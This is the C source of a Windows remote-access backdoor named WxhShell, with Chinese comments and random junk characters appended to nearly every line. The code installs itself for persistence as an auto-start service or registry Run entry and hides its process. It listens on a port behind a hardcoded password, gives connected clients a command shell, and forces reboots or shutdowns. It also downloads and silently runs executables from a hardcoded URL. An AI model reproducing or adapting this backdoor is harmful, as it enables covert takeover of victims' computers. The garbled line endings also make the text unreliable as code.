    ExitThread(0); m wEVEx24  
    } BRU9LS  
    break; gc2|V6(  
    } 4`!  
  // 关机 ]i,Mq  
  case 'd': { 9HNh*Gc=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); fyg~KF}  
    if(Boot(SHUTDOWN)) &pMlt7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??zABV  
    else { )-9w3W1r  
    closesocket(wsh); mam5 G!$  
    ExitThread(0); *Nf4bH%MN  
    } 4&]To@>  
    break; z)W#&JFF  
    } -4y)qGb*?  
  // 获取shell o.A} ``  
  case 's': { t=W$'*P0}  
    CmdShell(wsh); Ca5Sc, no  
    closesocket(wsh); kJ#[UCqzM  
    ExitThread(0); fJn3"D'  
    break; 7\0|`{|R@  
  } ;!0.Kk 4  
  // 退出 g=oeS%>E  
  case 'x': { _]=TFz2O  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =Qj+Ug'  
    CloseIt(wsh); Qor{1_h)+9  
    break; R(/[NvUb  
    } 71 L\t3fG  
  // 离开 ."F'5eTT~  
  case 'q': { ,p*ntj{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N}}PlGp$  
    closesocket(wsh); [!:-m61  
    WSACleanup(); 9o_ g_q  
    exit(1); 36^C0uNdX  
    break; 9&XV}I,~?|  
        } h$aew63  
  } VM<oUKh_3  
  } V 4\^TO`q=  
e}?1T7NPG]  
  // 提示信息 s`Be#v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vh. Wm?qQ  
} *,pZ fc  
  } `b^#quz  
oA!5dpNhU  
  return; - 5o<Q'(  
} k}I5x1>&  
C>JekPeM  
// shell模块句柄 x  tYV"  
int CmdShell(SOCKET sock) B{OW}D$P#  
{ V`R)#G>IH%  
STARTUPINFO si; e}](6"t`5  
ZeroMemory(&si,sizeof(si)); i3M?D}(Bs  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]uStn   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U!a!|s>  
PROCESS_INFORMATION ProcessInfo; RWh9&O:6'  
char cmdline[]="cmd"; J3lG"Ww  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); iL7-4Lv#  
  return 0; 9&O#+FU  
} aeuf, #  
VW{aUgajO  
// 自身启动模式 kO..~@ aY  
int StartFromService(void) kwDh|K  
{ ^ Hz  
typedef struct h \D_  
{ &prdlh=UE  
  DWORD ExitStatus; V 5e\%  
  DWORD PebBaseAddress; teq^xTUF[  
  DWORD AffinityMask; #51 4a(6  
  DWORD BasePriority; pIZLGsu[  
  ULONG UniqueProcessId; r6F{  
  ULONG InheritedFromUniqueProcessId; >+Sv9S  
}   PROCESS_BASIC_INFORMATION; e'k;A{Oh  
ueWR/  
PROCNTQSIP NtQueryInformationProcess; iioct_7,g<  
bxd3  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9:9N)cNvfX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?$30NK3G  
bk\dy7  
  HANDLE             hProcess; ]^yV`Z8  
  PROCESS_BASIC_INFORMATION pbi; GZ/pz+)i&  
y+ 6`| h_  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _XH4;uGg  
  if(NULL == hInst ) return 0; eD*?q7  
_" ?c9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); };|!Lhl+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *<`7|BH3  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >u9id>+  
Ax5mP8S  
  if (!NtQueryInformationProcess) return 0; O3^98n2  
^[X|As2  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m%e^&N#%6r  
  if(!hProcess) return 0; KXoL,)Hl  
5`4}A%@&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; kP!%|&w;  
Tm%$J  
  CloseHandle(hProcess); fs2m N1  
XPHQAo[(s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r.^0!(d  
if(hProcess==NULL) return 0; 2gQY8h8  
Nk lz_ ]  
HMODULE hMod; n~1tm  
char procName[255]; (l\a'3a.  
unsigned long cbNeeded; }G>v]bV0V  
Ez06:]Jd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bn0"M+7)f  
a za o`z  
  CloseHandle(hProcess); d u.HSXK  
Zw;$(="  
if(strstr(procName,"services")) return 1; // 以服务启动 O{lIs_1.Z  
8yHq7=  
  return 0; // 注册表启动 qiG]nCq  
} %/{IssCR7  
33=Mm/<m$P  
// 主模块 x2 w8zT6M  
int StartWxhshell(LPSTR lpCmdLine) R'*<A3^  
{ 8q_1(& O  
  SOCKET wsl; fp.!VOy  
BOOL val=TRUE; tP}Xhn`  
  int port=0; %iK%$  
  struct sockaddr_in door; Pk$}%;@v  
W0VA'W  
  if(wscfg.ws_autoins) Install(); D3<IuWeM  
>}ro[x`K  
port=atoi(lpCmdLine); 9 b?i G  
[Xxw]C6\>(  
if(port<=0) port=wscfg.ws_port; ^7i^ \w0  
$cRcap  
  WSADATA data; [Z#+gh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Of1IdE6~  
pBlRd{#fL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   y<O@rD8iA  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8B}'\e4i  
  door.sin_family = AF_INET; !a' K &  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); IkSX\*  
  door.sin_port = htons(port); e{v,x1Y_z(  
L@7Qs6G2u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pwa.q  
closesocket(wsl); _L$)2sl1R  
return 1; TF BYY{Y  
} T&?w"T2y  
$-m@KB  
  if(listen(wsl,2) == INVALID_SOCKET) { 9uuta4&uI  
closesocket(wsl); i?ZA x4D  
return 1; oR-O~_) U  
} /0Z|+L9Jo  
  Wxhshell(wsl); zl0;84:H  
  WSACleanup(); t[%x}0FP-F  
^Ku\l #B  
return 0; ~RcNZ\2y  
VT'0DQ!NIq  
} o^6jyb!j  
4uFIpS|rq  
// 以NT服务方式启动 3Z_t%J5QZ$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [_j6cj]  
{ :9(3h"  
DWORD   status = 0; `2>XH:+7F  
  DWORD   specificError = 0xfffffff;  `>%-  
7;^((.]ln  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {?w"hjy  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; MKomq  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BqQ] x'AF  
  serviceStatus.dwWin32ExitCode     = 0; ||R0U@F,  
  serviceStatus.dwServiceSpecificExitCode = 0; /rqqC(1  
  serviceStatus.dwCheckPoint       = 0; qpoquWZ  
  serviceStatus.dwWaitHint       = 0; - o4@#p>>  
+H41]W6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ,Qat  
  if (hServiceStatusHandle==0) return; ,o BlJvm  
: aHcPc:  
status = GetLastError(); =.DTR5(_h  
  if (status!=NO_ERROR) l+t #"3  
{ ;?0_Q3IML  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _B}9 f  
    serviceStatus.dwCheckPoint       = 0; :qBGe1Sv(  
    serviceStatus.dwWaitHint       = 0; /j11,O?72  
    serviceStatus.dwWin32ExitCode     = status; I"B8_  
    serviceStatus.dwServiceSpecificExitCode = specificError; f(!E!\&n^  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &j3` )N  
    return;  GaHA%  
  } K*[9j 0  
M|ms$1x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3Hs$]nQ_X  
  serviceStatus.dwCheckPoint       = 0; kzMa+(fu  
  serviceStatus.dwWaitHint       = 0; YbzM6u2  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \$j^_C>  
} pG(Fz0b{  
Z*h43  
// 处理NT服务事件,比如:启动、停止 zkd3Z$Ce  
VOID WINAPI NTServiceHandler(DWORD fdwControl) C9o$9 l+B  
{ j]>=1Rd0b(  
switch(fdwControl) >o#ERNf  
{ h(_P9E[g  
case SERVICE_CONTROL_STOP: \WcB9  
  serviceStatus.dwWin32ExitCode = 0; [ne" T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +)zDA:2Wa"  
  serviceStatus.dwCheckPoint   = 0; I|Z/`9T  
  serviceStatus.dwWaitHint     = 0; Np$z%ewK.  
  { ^,+nef?=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6nc0=~='$  
  } FW_G\W.  
  return; Vz'HM$  
case SERVICE_CONTROL_PAUSE: UkZ\cc}aC/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; z /weit  
  break; Z{} n8 b*  
case SERVICE_CONTROL_CONTINUE: R0vww_fz  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )AJ=an||5  
  break; wEE2a56L-  
case SERVICE_CONTROL_INTERROGATE: 6p#g0t  
  break; I'dj.  
}; cs t&0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h20Hg|   
} ^xt9pa$f  
TMqY4;UeL  
// 标准应用程序主函数 7(NXCAO81  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) A?DB#-z.r  
{ xkM] J)C  
T(JuL<PB  
// 获取操作系统版本 $6# lTYN~  
OsIsNt=GetOsVer(); Rnr#$C%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +ZclGchw  
"?P[9x}  
  // 从命令行安装 L@nebT;\'  
  if(strpbrk(lpCmdLine,"iI")) Install(); {M [~E|@D  
^Z#@3 =  
  // 下载执行文件 :&9TW]*g  
if(wscfg.ws_downexe) { Ge^Qar  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @ ICb Kg:  
  WinExec(wscfg.ws_filenam,SW_HIDE); 0Qp[\ia  
} |0kXCq  
Y87XLvig}  
if(!OsIsNt) { +TF8WZZF.d  
// 如果时win9x,隐藏进程并且设置为注册表启动 PS$k >_=t  
HideProc(); }a^|L"  
StartWxhshell(lpCmdLine); 9#Bx]wy  
} ;gUXvx~~r  
else x/xb1"  
  if(StartFromService()) srK53vKMHW  
  // 以服务方式启动 'y.JcS!|  
  StartServiceCtrlDispatcher(DispatchTable); ab@=cL~^  
else {OCJ(^8i  
  // 普通方式启动 qU-!7=}7  
  StartWxhshell(lpCmdLine); 3b@VY'P  
};r|}v !~_  
return 0; 1A^1@^{m'  
} Ig9d#c  
O:e#!C8^  
[x5mPjgw  
w4,]2Ccn.  
=========================================== /&(1JqzlB  
e #M iaX  
+I@cO&CY|  
{p]=++  
Gm A!Mo  
i4<BDX5  
" *T1~)z}j<  
y(}Eko4u5  
#include <stdio.h> \2 >?6zs  
#include <string.h> nvt$F%+  
#include <windows.h> k;Hnu  
#include <winsock2.h> I+",b4  
#include <winsvc.h> Ak A!:!l  
#include <urlmon.h> @1bH}QS  
CW-Ae  
#pragma comment (lib, "Ws2_32.lib") _*E!gPO  
#pragma comment (lib, "urlmon.lib") #ib^Kg  
c+2sT3).D  
#define MAX_USER   100 // 最大客户端连接数 a+Ab]m8`  
#define BUF_SOCK   200 // sock buffer 63M=,0-Qt  
#define KEY_BUFF   255 // 输入 buffer DsGI/c  
%i"}x/CD[  
#define REBOOT     0   // 重启 EnJ!mr  
#define SHUTDOWN   1   // 关机 =EpJZt  
0hwj\{"  
#define DEF_PORT   5000 // 监听端口 |dk[cX>  
8W -@N  
#define REG_LEN     16   // 注册表键长度 1 i3k  
#define SVC_LEN     80   // NT服务名长度 NR3`M?Hjf  
=9$mbn r  
// 从dll定义API 'zxoRc-b@N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oH X$k{6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uR_F,Mp?%u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); uPLErO9Es[  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m$:&P|!'p  
kjE*9bUc  
// wxhshell配置信息 Q["t eo]DQ  
struct WSCFG { ehT%s+aUw  
  int ws_port;         // 监听端口 7ZsA5%s=,  
  char ws_passstr[REG_LEN]; // 口令 -DCa   
  int ws_autoins;       // 安装标记, 1=yes 0=no 4pPI'd&/7  
  char ws_regname[REG_LEN]; // 注册表键名 /g76Hw>H  
  char ws_svcname[REG_LEN]; // 服务名 /oL8;:m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 K5`Rk" s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Jhy(x1%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 OipqoI2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6(KmA-!b(O  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" EB,4PEe:  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1'O0`Me>#  
Im)EDTm$  
}; Uc&iZFid2K  
C-w5KW  
// default Wxhshell configuration mQr0sI,o]  
struct WSCFG wscfg={DEF_PORT, 8\# ^k#X  
    "xuhuanlingzhe", 2d`c!  
    1, @;Y~frT  
    "Wxhshell", _u5dC   
    "Wxhshell", /S~m)$vu  
            "WxhShell Service", A,#2^dR  
    "Wrsky Windows CmdShell Service", SaO3 zz@L  
    "Please Input Your Password: ", {rXs:N@  
  1, 61@EDIYPc  
  "http://www.wrsky.com/wxhshell.exe", yZ3nRiuRT  
  "Wxhshell.exe" RH[+1z8  
    }; JE;+T[I  
%e_"CS  
// 消息定义模块 Qf@iU%G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; f$F*3  
char *msg_ws_prompt="\n\r? for help\n\r#>";  'Cc(3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; d8OL!Rk  
char *msg_ws_ext="\n\rExit."; LM"y\q ]  
char *msg_ws_end="\n\rQuit."; DDeE(E  
char *msg_ws_boot="\n\rReboot..."; 50n}my'2h  
char *msg_ws_poff="\n\rShutdown..."; z-,VnhLx  
char *msg_ws_down="\n\rSave to "; d,9`<1{9  
8l>CR#%@C  
char *msg_ws_err="\n\rErr!"; ' ~Q2!F  
char *msg_ws_ok="\n\rOK!"; YI@Fhr &NU  
=SBBvnPLI  
char ExeFile[MAX_PATH]; yPgmg@G@/  
int nUser = 0; ir[jCea,  
HANDLE handles[MAX_USER]; , Z ~;U  
int OsIsNt; hfrnxeM#~  
TH?9< C-C  
SERVICE_STATUS       serviceStatus; q p~g P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >/^#Drwb!i  
UtJa3ya  
// 函数声明 `78V%\  
int Install(void); .C bGDZ  
int Uninstall(void); 0rE(p2  
int DownloadFile(char *sURL, SOCKET wsh); NlF}{   
int Boot(int flag); 2R.2D'4)`  
void HideProc(void); 6`\ya@  
int GetOsVer(void); ]R IVc3?;$  
int Wxhshell(SOCKET wsl); I%lE;'x  
void TalkWithClient(void *cs); -]S.<8<$  
int CmdShell(SOCKET sock); G>z,#Xt  
int StartFromService(void); ,Em$!n  
int StartWxhshell(LPSTR lpCmdLine); .}`hCt08  
_*6v|Ed?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k\7:{y@,  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); XDz5b.,  
^^Jnv{)  
// 数据结构和表定义 EKZVF`L  
SERVICE_TABLE_ENTRY DispatchTable[] = A6"Hk0Hf  
{ ]%dnKP~  
{wscfg.ws_svcname, NTServiceMain}, :}q\tNY<  
{NULL, NULL} \a|L/9%  
}; 1HR~ G9  
,k0r  
// 自我安装 N_DT7  
int Install(void) HY}j!X  
{ +R.N%_  
  char svExeFile[MAX_PATH]; MI#mAg<  
  HKEY key; 5VE2@Fn}  
  strcpy(svExeFile,ExeFile); K :LL_,  
J5yidymrpW  
// 如果是win9x系统,修改注册表设为自启动 E4[}lX}  
if(!OsIsNt) { l]_=:)" ]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )TmtSSS  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 3,eIB(  
  RegCloseKey(key); ma& To=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P0GeZ02]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,FQK;BU!lh  
  RegCloseKey(key); NAr1[{^E,  
  return 0; d&(_|xq#  
    } KL?)akk  
  } Pz"`MB<'Ik  
} (pR.Abq  
else { #AViM_u  
}5 9U}@xC  
// 如果是NT以上系统,安装为系统服务 yL1bS|@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $u9]yiY.{  
if (schSCManager!=0) s0W2?!>)  
{ O#kq^C}  
  SC_HANDLE schService = CreateService s8gU7pT49  
  ( *nTU# U  
  schSCManager, &h~aChJ  
  wscfg.ws_svcname, MXvXVhCU  
  wscfg.ws_svcdisp, ;%!m<S|%k  
  SERVICE_ALL_ACCESS, [rY T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , YJF#)TkF  
  SERVICE_AUTO_START, bKbp?-]  
  SERVICE_ERROR_NORMAL, O&Z' r  
  svExeFile, kBEmmgL  
  NULL, sz95i|@/  
  NULL, /SR^C$h'I  
  NULL, 9w4sSj`  
  NULL, I9y.e++/  
  NULL cma*Dc  
  ); -$a>f4]  
  if (schService!=0) 0@=MOGQb  
  { H AB#pd9  
  CloseServiceHandle(schService); $#NQ <3  
  CloseServiceHandle(schSCManager); F} DUEDND*  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); eiMH['X5  
  strcat(svExeFile,wscfg.ws_svcname); 6[dur'x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ,^s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); )R)a@op  
  RegCloseKey(key); o'V%EQ  
  return 0; Q9?t[ir  
    } m7|RD]q&  
  } ((3}LQ  
  CloseServiceHandle(schSCManager); z(HaRB3l  
} ~,gXaw  
} 1yqoA *  
;3ft1  
return 1; /CX VLl8~  
} {padD p  
`$R A< 3  
// 自我卸载 rAqxTdF  
int Uninstall(void) {I1~-8  
{ G*8GGWB^a  
  HKEY key; X" R<J#4  
mxG]kqi  
if(!OsIsNt) { / !xF?OmVd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6vy7l(%  
  RegDeleteValue(key,wscfg.ws_regname);  z01>'  
  RegCloseKey(key); (!K_Fy@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  Qo0H  
  RegDeleteValue(key,wscfg.ws_regname); r0dDHj~F  
  RegCloseKey(key); 6L4$vJ  
  return 0; M:SO2Czz  
  } vA%^`5  
} \F6LZZ2Lv  
} j|_E$L A\  
else { l}g;'9ZB  
(k"_># %  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )LHj+B  
if (schSCManager!=0) '3(l-nPiG^  
{ \ZXLX'-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7*H:Ob)9k  
  if (schService!=0) e;95a  
  { x K%=  
  if(DeleteService(schService)!=0) { 9uB(Mx(-:`  
  CloseServiceHandle(schService); wsfd8T4  
  CloseServiceHandle(schSCManager); \}]iS C.2  
  return 0; |QZ 58)>  
  } ' P"g\;Ij  
  CloseServiceHandle(schService); [IBQvL  
  } yubSj*  
  CloseServiceHandle(schSCManager); =!MY4&YX  
} P>Qpv Sd_#  
} %"$@%"8;3  
WOytxE  
return 1; O9h+Q\0\W  
} gPC@Yy  
W0`Gc {  
// 从指定url下载文件 H:{7X1bV  
int DownloadFile(char *sURL, SOCKET wsh) Xh+ia#K  
{ hZ\+FOx;  
  HRESULT hr; 8nNsrat  
char seps[]= "/"; C 'mL&  
char *token; QDmYSY$  
char *file; #=e;?w  
char myURL[MAX_PATH]; JqUADm  
char myFILE[MAX_PATH]; &Vk; VM`5  
!^fa.I'mM  
strcpy(myURL,sURL); ^s/  
  token=strtok(myURL,seps); f<jb=\}x  
  while(token!=NULL) Q[ieaL6&  
  { T~8  .9g  
    file=token; \>/M .2  
  token=strtok(NULL,seps); n]!fO 6kj  
  } Ju` [m  
q!,zq  
GetCurrentDirectory(MAX_PATH,myFILE); |BU+:+  
strcat(myFILE, "\\"); V`hu,Y;%  
strcat(myFILE, file); e_3CSx8Cc  
  send(wsh,myFILE,strlen(myFILE),0); xl4=++pu)  
send(wsh,"...",3,0); QP I+y8N=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :Og:v#r8=  
  if(hr==S_OK) ?>uew^$d[w  
return 0; SpTdj^]4>  
else p#d+>7  
return 1; xBnbF[  
/FY2vDfU6  
} KU&G;ni2  
_Tm0x>EM  
// 系统电源模块 N]/!mo?  
int Boot(int flag) |I8Mk.Z=FA  
{ @]CF&: P A  
  HANDLE hToken; jk~:\8M(A  
  TOKEN_PRIVILEGES tkp; !mfJpJ  
dx_6X!=.J  
  if(OsIsNt) { ?h\mk0[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MFit|C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;^k7zNf-  
    tkp.PrivilegeCount = 1; S9sR#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OJ>.-"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bn wzcl  
if(flag==REBOOT) { ik1tidw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n(Y%Vmy  
  return 0; rx ~[Zs+*  
} . 5HQ   
else { <!^ [~`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !%L,* '  
  return 0; &Y>zT9]$K  
} 9|r* pK[  
  } ,%"xH4d  
  else { h+UnZfm  
if(flag==REBOOT) { ,8Iv9M}2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *6ZCDm&N  
  return 0; y f1CXldi  
} ,lN5,zI=S  
else { / l>.mK()  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =Ov7C[(  
  return 0; g;p)n  
} H3/caN:  
} Y0uvT7+[hi  
` vk0c  
return 1; `d]Z)*9  
} \y Hen|%  
Q%=YM4;  
// win9x进程隐藏模块 X!,@ j\L  
void HideProc(void) P~CrtTss  
{ _cI_#  
FY0%XW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 0OZMlt%z  
  if ( hKernel != NULL ) LC69td&  
  { w:=V@-S 8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !F4;_A`X  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JMV50 y  
    FreeLibrary(hKernel); 3 pWM~(#>-  
  } +JdZPb  
{Q (}DI  
return; c-]fKj7  
} _ *(bmJM  
oY9FK{  
// 获取操作系统版本 $Rtgr{ {;"  
int GetOsVer(void) [IX+M#mf  
{ `H%G3M0a  
  OSVERSIONINFO winfo; :Hy]  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =jAFgwP\  
  GetVersionEx(&winfo); lP<I|O=z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 6 DF  
  return 1; Rs;15@t@  
  else -e-e9uP  
  return 0; G$WOzY(  
} ?r_kyuU  
;<Qdy` T  
// 客户端句柄模块 _]>JB0IY  
int Wxhshell(SOCKET wsl) Csst[3V  
{ u:P~j  
  SOCKET wsh; |^n3{m  
  struct sockaddr_in client; ! >.vh]8g  
  DWORD myID; )najO *n  
rj] E@W  
  while(nUser<MAX_USER) Zc5 :]]  
{ OKue" p  
  int nSize=sizeof(client); sRRI3y@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7qIB7_K5  
  if(wsh==INVALID_SOCKET) return 1; 6F0(aGs  
v"6 \=@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); V^fV7hw<  
if(handles[nUser]==0) :- +4:S  
  closesocket(wsh); NlPS#  
else 2Oc$+St~8  
  nUser++; {ISE'GJj  
  } I<\ '%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); laREjN/\`  
6qp5Xt+  
  return 0; )/t6" "  
} F@W*\3)  
*o?i:LE]  
// 关闭 socket Fz"ff4Bx [  
void CloseIt(SOCKET wsh) f05d ;  
{ zmFws-+A  
closesocket(wsh); :[7lTp   
nUser--; [~%`N*G  
ExitThread(0); &w\ I<J`T  
} o#hI5  
5~VosUp e7  
// 客户端请求句柄 C7"HQQ  
void TalkWithClient(void *cs) ?-~I<f ]_  
{ DguB  
SG]K   
  SOCKET wsh=(SOCKET)cs; WStnzVe  
  char pwd[SVC_LEN]; T 1Cs>#)  
  char cmd[KEY_BUFF]; M}FWBs'*|  
char chr[1]; "Ai6<:ml  
int i,j; 1"E\C/c  
F+aQ $pQ  
  while (nUser < MAX_USER) { :F(9"L  
`lCuU~~ag  
if(wscfg.ws_passstr) { I0w%8bs  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); KCqqJ}G  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >M4"|W U_  
  //ZeroMemory(pwd,KEY_BUFF); =4NqjSH  
      i=0; &a #GXf  
  while(i<SVC_LEN) { HYClm|   
/=T"=bP#/  
  // 设置超时 L]-w;ll-  
  fd_set FdRead; 3oBC   
  struct timeval TimeOut; (F5ttQPh  
  FD_ZERO(&FdRead); h8v>zNf'  
  FD_SET(wsh,&FdRead); rG6\ ynBX%  
  TimeOut.tv_sec=8; X0i3_RVa  
  TimeOut.tv_usec=0; h}Ygb-uZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); mnQ'X-q3iO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 4F#%f#"  
`iYc<N`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :t$A8+A+0  
  pwd=chr[0]; {8CWWfHCD  
  if(chr[0]==0xd || chr[0]==0xa) { &=w|vB)(p  
  pwd=0; z^`]7i  
  break; avNLV  
  } PdE>@0X?M  
  i++; 7'j9rmTXs  
    } !#}>Hv^N  
esq<xuZM4  
  // 如果是非法用户,关闭 socket 6Z c)0I'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lo:~aJ8  
} "'{OIP  
'`o[+.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 19I:%$U3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); TmP8 q  
x:-`o_Q*i  
while(1) { (V9h2g&8L  
ixI:@#5wY  
  ZeroMemory(cmd,KEY_BUFF); Slx2z%'>  
r*d Q5 _  
      // 自动支持客户端 telnet标准   ,U=E[X=H  
  j=0; *x,HnHT  
  while(j<KEY_BUFF) { ]N}]d +^6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q_}n%P:u  
  cmd[j]=chr[0]; qx%jAs+~  
  if(chr[0]==0xa || chr[0]==0xd) { >]/dOH,A  
  cmd[j]=0; 'lQYJ0  
  break; ~ x`7)3  
  } vInFo.e[4  
  j++; g!^J,e=  
    } mxL;;-  
Je~p%m#e;K  
  // 下载文件 P(_(w 9  
  if(strstr(cmd,"http://")) { DTy/jaK  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M&e8zS  
  if(DownloadFile(cmd,wsh)) EAyukM2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); q$>_WF#||  
  else Wo3'd|Y~i  
